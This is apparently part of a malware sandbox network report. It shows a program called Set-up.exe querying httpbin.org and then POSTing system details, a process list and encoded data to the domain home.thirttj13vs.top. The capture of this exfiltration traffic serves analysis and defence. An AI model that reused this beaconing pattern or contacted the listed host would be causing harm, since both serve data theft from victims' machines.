Jan 6, 2025 12:15:02.405761957 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.405814886 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.405823946 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.405833006 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.405847073 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.409750938 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.409858942 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.409868002 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.409912109 CET	49731	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:02.409924984 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.409934998 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.409970045 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.409977913 CET	49731	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:02.409979105 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.410018921 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.410018921 CET	49731	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:02.410028934 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.410036087 CET	49731	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:02.410058022 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.410058975 CET	49731	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:02.410083055 CET	49731	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:02.410098076 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.410101891 CET	49731	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:02.410146952 CET	49731	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:02.410160065 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.410170078 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.410207987 CET	49731	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:02.410223961 CET	49731	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:02.410228968 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.410238028 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.410280943 CET	49731	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:02.410285950 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.410296917 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.410339117 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.410342932 CET	49731	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:02.410347939 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.410363913 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.410372019 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.410387993 CET	49731	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:02.410394907 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.410404921 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.410412073 CET	49731	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:02.410442114 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.410449982 CET	49731	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:02.410451889 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.410481930 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.410490036 CET	49731	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:02.410490990 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.410506964 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.410515070 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.410537004 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.410542965 CET	49731	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:02.410545111 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.410567045 CET	49731	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:02.410572052 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.410583019 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.410593033 CET	49731	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:02.410624027 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.410626888 CET	49731	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:02.410634995 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.410650969 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.410659075 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.410691023 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.410700083 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.410728931 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.410737991 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.410767078 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.410774946 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.410819054 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.410829067 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.410845041 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.410852909 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.410862923 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.410871029 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.410921097 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.410929918 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.410938978 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.410947084 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.414828062 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.414839029 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.414868116 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.414876938 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.414894104 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.414902925 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.415007114 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.415014982 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.415025949 CET	49731	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:02.415080070 CET	49731	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:02.415107965 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.415117979 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.415146112 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.415154934 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.415158033 CET	49731	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:02.415195942 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.415201902 CET	49731	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:02.415205956 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.415227890 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.415235996 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.415246010 CET	49731	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:02.415277004 CET	49731	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:02.415307999 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.415323973 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.415338039 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.415347099 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.415361881 CET	49731	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:02.415371895 CET	49731	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:02.415388107 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.415396929 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.415397882 CET	49731	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:02.415419102 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.415427923 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.415462017 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.415471077 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.415508986 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.415517092 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.415540934 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.415549994 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.415584087 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.415592909 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.415606976 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.415615082 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.415652990 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.415661097 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.415702105 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.415710926 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.415725946 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.415734053 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.415745974 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.415774107 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.415782928 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.415790081 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.415826082 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.415833950 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.415862083 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.415869951 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.415894032 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.415901899 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.415962934 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.415971994 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.415993929 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.419950962 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.419960022 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.420018911 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.420036077 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.420165062 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.420173883 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.420217037 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.420224905 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.420259953 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.420269012 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.420304060 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.420311928 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.420326948 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.420335054 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.420356035 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.420363903 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.420408964 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.420418024 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.420454979 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.420463085 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.420531034 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.420538902 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.420547962 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.420559883 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.420588017 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.420597076 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.420649052 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.420656919 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.420670986 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.420680046 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.420701981 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.420737028 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.420792103 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.420802116 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.420811892 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.420819998 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.420855999 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.420864105 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.420881033 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.420888901 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.420943975 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.420952082 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.420968056 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:02.420977116 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:05.263189077 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:05.263488054 CET	49731	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:05.271806002 CET	80	49731	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:05.271855116 CET	49731	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:05.306493044 CET	49732	53	192.168.2.4	1.1.1.1
Jan 6, 2025 12:15:05.315579891 CET	53	49732	1.1.1.1	192.168.2.4
Jan 6, 2025 12:15:05.315655947 CET	49732	53	192.168.2.4	1.1.1.1
Jan 6, 2025 12:15:05.315788984 CET	49732	53	192.168.2.4	1.1.1.1
Jan 6, 2025 12:15:05.326122046 CET	53	49732	1.1.1.1	192.168.2.4
Jan 6, 2025 12:15:05.811717987 CET	53	49732	1.1.1.1	192.168.2.4
Jan 6, 2025 12:15:05.815135002 CET	49732	53	192.168.2.4	1.1.1.1
Jan 6, 2025 12:15:05.815336943 CET	49733	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:05.820200920 CET	53	49732	1.1.1.1	192.168.2.4
Jan 6, 2025 12:15:05.820211887 CET	80	49733	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:05.820245981 CET	49732	53	192.168.2.4	1.1.1.1
Jan 6, 2025 12:15:05.820275068 CET	49733	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:05.822952986 CET	49733	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:05.827763081 CET	80	49733	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:06.439994097 CET	80	49733	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:06.440289974 CET	49733	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:06.446578979 CET	80	49733	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:06.446624994 CET	49733	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:07.262336969 CET	49734	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:07.267193079 CET	80	49734	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:07.267414093 CET	49734	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:07.267832041 CET	49734	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:07.272583008 CET	80	49734	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:07.976244926 CET	80	49734	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:07.976612091 CET	49734	80	192.168.2.4	34.147.147.173
Jan 6, 2025 12:15:07.981856108 CET	80	49734	34.147.147.173	192.168.2.4
Jan 6, 2025 12:15:07.981909990 CET	49734	80	192.168.2.4	34.147.147.173

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 6, 2025 12:14:58.077063084 CET	61649	53	192.168.2.4	1.1.1.1
Jan 6, 2025 12:14:58.077115059 CET	61649	53	192.168.2.4	1.1.1.1
Jan 6, 2025 12:14:58.083869934 CET	53	61649	1.1.1.1	192.168.2.4
Jan 6, 2025 12:14:58.084177017 CET	53	61649	1.1.1.1	192.168.2.4
Jan 6, 2025 12:15:01.056473017 CET	61654	53	192.168.2.4	1.1.1.1
Jan 6, 2025 12:15:01.056580067 CET	61654	53	192.168.2.4	1.1.1.1
Jan 6, 2025 12:15:01.438524008 CET	53	61654	1.1.1.1	192.168.2.4
Jan 6, 2025 12:15:01.922171116 CET	53	61654	1.1.1.1	192.168.2.4
Jan 6, 2025 12:15:05.289653063 CET	61656	53	192.168.2.4	1.1.1.1
Jan 6, 2025 12:15:05.289716005 CET	61656	53	192.168.2.4	1.1.1.1
Jan 6, 2025 12:15:05.299109936 CET	53	61656	1.1.1.1	192.168.2.4
Jan 6, 2025 12:15:05.299128056 CET	53	61656	1.1.1.1	192.168.2.4
Jan 6, 2025 12:15:06.464376926 CET	61658	53	192.168.2.4	1.1.1.1
Jan 6, 2025 12:15:06.464409113 CET	61658	53	192.168.2.4	1.1.1.1
Jan 6, 2025 12:15:07.097193003 CET	53	61658	1.1.1.1	192.168.2.4
Jan 6, 2025 12:15:07.261639118 CET	53	61658	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 6, 2025 12:14:58.077063084 CET	192.168.2.4	1.1.1.1	0xb359	Standard query (0)	httpbin.org	A (IP address)	IN (0x0001)	false
Jan 6, 2025 12:14:58.077115059 CET	192.168.2.4	1.1.1.1	0x6c88	Standard query (0)	httpbin.org	28	IN (0x0001)	false
Jan 6, 2025 12:15:01.056473017 CET	192.168.2.4	1.1.1.1	0xb58d	Standard query (0)	home.thirttj13vs.top	A (IP address)	IN (0x0001)	false
Jan 6, 2025 12:15:01.056580067 CET	192.168.2.4	1.1.1.1	0xff07	Standard query (0)	home.thirttj13vs.top	28	IN (0x0001)	false
Jan 6, 2025 12:15:05.289653063 CET	192.168.2.4	1.1.1.1	0xf61e	Standard query (0)	home.thirttj13vs.top	A (IP address)	IN (0x0001)	false
Jan 6, 2025 12:15:05.289716005 CET	192.168.2.4	1.1.1.1	0x3466	Standard query (0)	home.thirttj13vs.top	28	IN (0x0001)	false
Jan 6, 2025 12:15:05.315788984 CET	192.168.2.4	1.1.1.1	0x3466	Standard query (0)	home.thirttj13vs.top	28	IN (0x0001)	false
Jan 6, 2025 12:15:06.464376926 CET	192.168.2.4	1.1.1.1	0x493e	Standard query (0)	home.thirttj13vs.top	A (IP address)	IN (0x0001)	false
Jan 6, 2025 12:15:06.464409113 CET	192.168.2.4	1.1.1.1	0xed58	Standard query (0)	home.thirttj13vs.top	28	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Jan 6, 2025 12:14:58.084177017 CET	1.1.1.1	192.168.2.4	0xb359	No error (0)	httpbin.org	50.19.58.113	A (IP address)	IN (0x0001)	false
Jan 6, 2025 12:14:58.084177017 CET	1.1.1.1	192.168.2.4	0xb359	No error (0)	httpbin.org	3.210.94.60	A (IP address)	IN (0x0001)	false
Jan 6, 2025 12:14:58.084177017 CET	1.1.1.1	192.168.2.4	0xb359	No error (0)	httpbin.org	34.200.57.114	A (IP address)	IN (0x0001)	false
Jan 6, 2025 12:14:58.084177017 CET	1.1.1.1	192.168.2.4	0xb359	No error (0)	httpbin.org	34.197.122.172	A (IP address)	IN (0x0001)	false
Jan 6, 2025 12:15:01.438524008 CET	1.1.1.1	192.168.2.4	0xb58d	No error (0)	home.thirttj13vs.top	34.147.147.173	A (IP address)	IN (0x0001)	false
Jan 6, 2025 12:15:05.299109936 CET	1.1.1.1	192.168.2.4	0xf61e	No error (0)	home.thirttj13vs.top	34.147.147.173	A (IP address)	IN (0x0001)	false
Jan 6, 2025 12:15:07.261639118 CET	1.1.1.1	192.168.2.4	0x493e	No error (0)	home.thirttj13vs.top	34.147.147.173	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

httpbin.org

home.thirttj13vs.top

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49731	34.147.147.173	80	6512	C:\Users\user\Desktop\Set-up.exe

Timestamp	Bytes transferred	Direction	Data
Jan 6, 2025 12:15:01.929301023 CET	12360	OUT	POST /gbVspuhpvozlydclqfRi1736138767 HTTP/1.1 Host: home.thirttj13vs.top Accept: / Content-Type: application/json Content-Length: 577840 Data Raw: 7b 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 20 22 63 75 72 72 65 6e 74 5f 74 69 6d 65 22 3a 20 22 38 35 33 32 39 31 35 34 35 38 33 31 37 39 39 30 37 30 35 22 2c 20 22 4e 75 6d 5f 70 72 6f 63 65 73 73 6f 72 22 3a 20 34 2c 20 22 4e 75 6d 5f 72 61 6d 22 3a 20 37 2c 20 22 64 72 69 76 65 72 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 43 3a 5c 5c 22 2c 20 22 61 6c 6c 22 3a 20 32 32 33 2e 30 2c 20 22 66 72 65 65 22 3a 20 31 36 38 2e 30 20 7d 20 5d 2c 20 22 4e 75 6d 5f 64 69 73 70 6c 61 79 73 22 3a 20 31 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 78 22 3a 20 31 32 38 30 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 79 22 3a 20 31 30 32 34 2c 20 22 72 65 63 65 6e 74 5f 66 69 6c 65 73 22 3a 20 35 30 2c 20 22 70 72 6f 63 65 73 73 65 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 5b 53 79 73 74 65 6d 20 50 72 6f 63 65 73 73 5d 22 2c 20 22 70 69 64 22 3a 20 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 53 79 73 74 65 6d 22 2c 20 22 70 69 64 22 3a 20 34 20 7d 2c 20 7b 20 22 6e 61 [TRUNCATED] Data Ascii: { "ip": "8.46.123.189", "current_time": "8532915458317990705", "Num_processor": 4, "Num_ram": 7, "drivers": [ { "name": "C:\\", "all": 223.0, "free": 168.0 } ], "Num_displays": 1, "resolution_x": 1280, "resolution_y": 1024, "recent_files": 50, "processes": [ { "name": "[System Process]", "pid": 0 }, { "name": "System", "pid": 4 }, { "name": "Registry", "pid": 92 }, { "name": "smss.exe", "pid": 324 }, { "name": "csrss.exe", "pid": 408 }, { "name": "wininit.exe", "pid": 484 }, { "name": "csrss.exe", "pid": 492 }, { "name": "winlogon.exe", "pid": 552 }, { "name": "services.exe", "pid": 620 }, { "name": "lsass.exe", "pid": 628 }, { "name": "svchost.exe", "pid": 752 }, { "name": "fontdrvhost.exe", "pid": 776 }, { "name": "fontdrvhost.exe", "pid": 784 }, { "name": "svchost.exe", "pid": 872 }, { "name": "svchost.exe", "pid": 920 }, { "name": "dwm.exe", "pid": 988 }, { "name": "svchost.exe", "pid": 364 }, { "name": "svchost.exe", "pid": 356 }, { "name": "svchost.exe", "pid": 696 }, { "name": "svchost.exe" [TRUNCATED]
Jan 6, 2025 12:15:01.935271025 CET	4944	OUT	Data Raw: 7a 5c 2f 41 4d 54 50 45 6a 49 5c 2f 43 72 68 61 74 78 64 78 44 68 4d 32 78 6d 57 30 63 62 67 38 44 4b 68 6b 31 44 42 34 6a 48 4f 74 6a 5a 79 70 30 70 52 70 34 37 48 5a 64 51 64 4f 4c 69 33 55 62 78 4b 6b 6c 62 6c 68 4e 36 48 36 6e 34 52 65 46 48 Data Ascii: z\/AMTPEjI\/CrhatxdxDhM2xmW0cbg8DKhk1DB4jHOtjZyp0pRp47HZdQdOLi3UbxKklblhN6H6n4ReFHEfjRxlQ4H4XxuS4DNa+X4\/MYYjP8TjsLlyoZfThUrQlVy7Ls1xKqyjNKlFYRwk0+ecFq\/x0or+sNv+CM\/7G+SA3xcHJHHjrTv\/AGbwsaqv\/wAEaP2O8Aif4vjIPTxzpPbd\/e8In0r+cl9OXwmf\/NO+Iv8A
Jan 6, 2025 12:15:01.935305119 CET	7416	OUT	Data Raw: 70 6e 58 66 38 6b 6d 5c 2f 5c 2f 41 4a 35 78 2b 6e 50 2b 63 38 56 6b 64 46 50 72 38 76 31 4b 78 32 65 59 37 6a 5c 2f 74 6e 4a 47 4f 66 66 38 41 7a 39 50 70 54 59 74 38 6e 6b 5c 2f 77 4a 5c 2f 30 7a 34 5c 2f 7a 6e 5c 2f 50 46 53 74 6d 54 65 6e 5c Data Ascii: pnXf8km\/\/AJ5x+nP+c8VkdFPr8v1Kx2eY7j\/tnJGOff8Az9PpTYt8nk\/wJ\/0z4\/zn\/PFStmTen\/kP\/H6\/54qHH8H8fleVL+6\/5d\/89PTFdBoQ+Zu\/2xJF+9+0f5\/w9qFjn27x8\/mfupR\/y3\/zx2\/nT5NhCJ\/HHLz5f5en+fxp8mdru\/yP\/wBM4v8AH8feg6Cm0fOzfH9f8\/p17VCxeTYmfx8r\/D\
Jan 6, 2025 12:15:01.935520887 CET	9888	OUT	Data Raw: 54 70 50 47 48 69 50 77 68 34 59 74 5c 2f 74 48 69 66 78 64 70 43 33 6c 35 72 66 69 58 53 4c 43 79 73 50 74 56 33 4e 64 66 75 52 48 4a 39 47 74 38 65 5c 2f 69 6d 66 2b 62 4b 66 32 6d 73 41 35 50 5c 2f 41 42 56 66 37 47 76 50 6f 50 38 41 6b 37 62 Data Ascii: TpPGHiPwh4Yt\/tHifxdpC3l5rfiXSLCysPtV3NdfuRHJ9Gt8e\/imf+bKf2msA5P\/ABVf7GvPoP8Ak7bH+favhz4IPn\/gmR+yZ1P\/ABe39kEY5x8v7f3wtHoB29a5X\/gop\/wVk0n9kX4m+APhJ8NtH0b4geL7HXdG8QfGu0uJy1v4e8CzDzD4O064tp0Wy8f+IbOVNUgur1bm28O6bFp815pmpf2\/D\/Z\/+K2X8D5tx
